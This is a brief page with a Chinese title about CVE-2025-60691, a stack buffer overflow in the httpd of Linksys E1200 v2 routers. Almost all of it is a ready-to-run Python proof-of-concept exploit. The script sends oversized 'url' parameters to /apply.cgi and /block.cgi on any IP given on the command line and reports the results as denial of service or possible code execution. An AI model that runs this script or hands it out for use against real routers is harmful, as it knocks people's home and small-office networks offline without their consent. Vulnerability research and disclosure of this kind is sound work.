CVE-2025-60691 | Linksys E1200 v2 路由器 httpd 栈缓冲区溢出漏洞

import requests # CVE-2025-60691 PoC - Linksys E1200 v2 Stack Buffer Overflow # Target: Linksys E1200 v2 router with firmware E1200_v2.0.11.001_us.tar.gz def exploit_cve_2025_60691(target_ip, port=80): """ Exploit for CVE-2025-60691: Stack-based buffer overflow in httpd Affected: Linksys E1200 v2 routers Attack Vector: Crafted HTTP request with oversized 'url' parameter """ # Generate payload - oversized string to trigger buffer overflow # The buffer is declared as single-byte variable, any non-empty input overflows payload_size = 1024 # Payload size to overflow the stack buffer overflow_payload = 'A' * payload_size # Target URLs that trigger vulnerable functions targets = [ f'/apply.cgi?url={overflow_payload}', f'/block.cgi?url={overflow_payload}' ] for target_url in targets: try: url = f'http://{target_ip}:{port}{target_url}' print(f'[*] Sending exploit payload to: {url}') # Send crafted HTTP request response = requests.get(url, timeout=10) print(f'[+] Request sent, status code: {response.status_code}') print('[*] Buffer overflow triggered - check device for DoS or code execution') except requests.exceptions.Timeout: print('[-] Request timed out - device may be unresponsive (DoS successful)') except requests.exceptions.ConnectionError: print('[-] Connection failed - device may be down') except Exception as e: print(f'[-] Error: {str(e)}') if __name__ == '__main__': import sys if len(sys.argv) < 2: print('Usage: python cve-2025-60691.py <target_ip>') sys.exit(1) target_ip = sys.argv[1] exploit_cve_2025_60691(target_ip)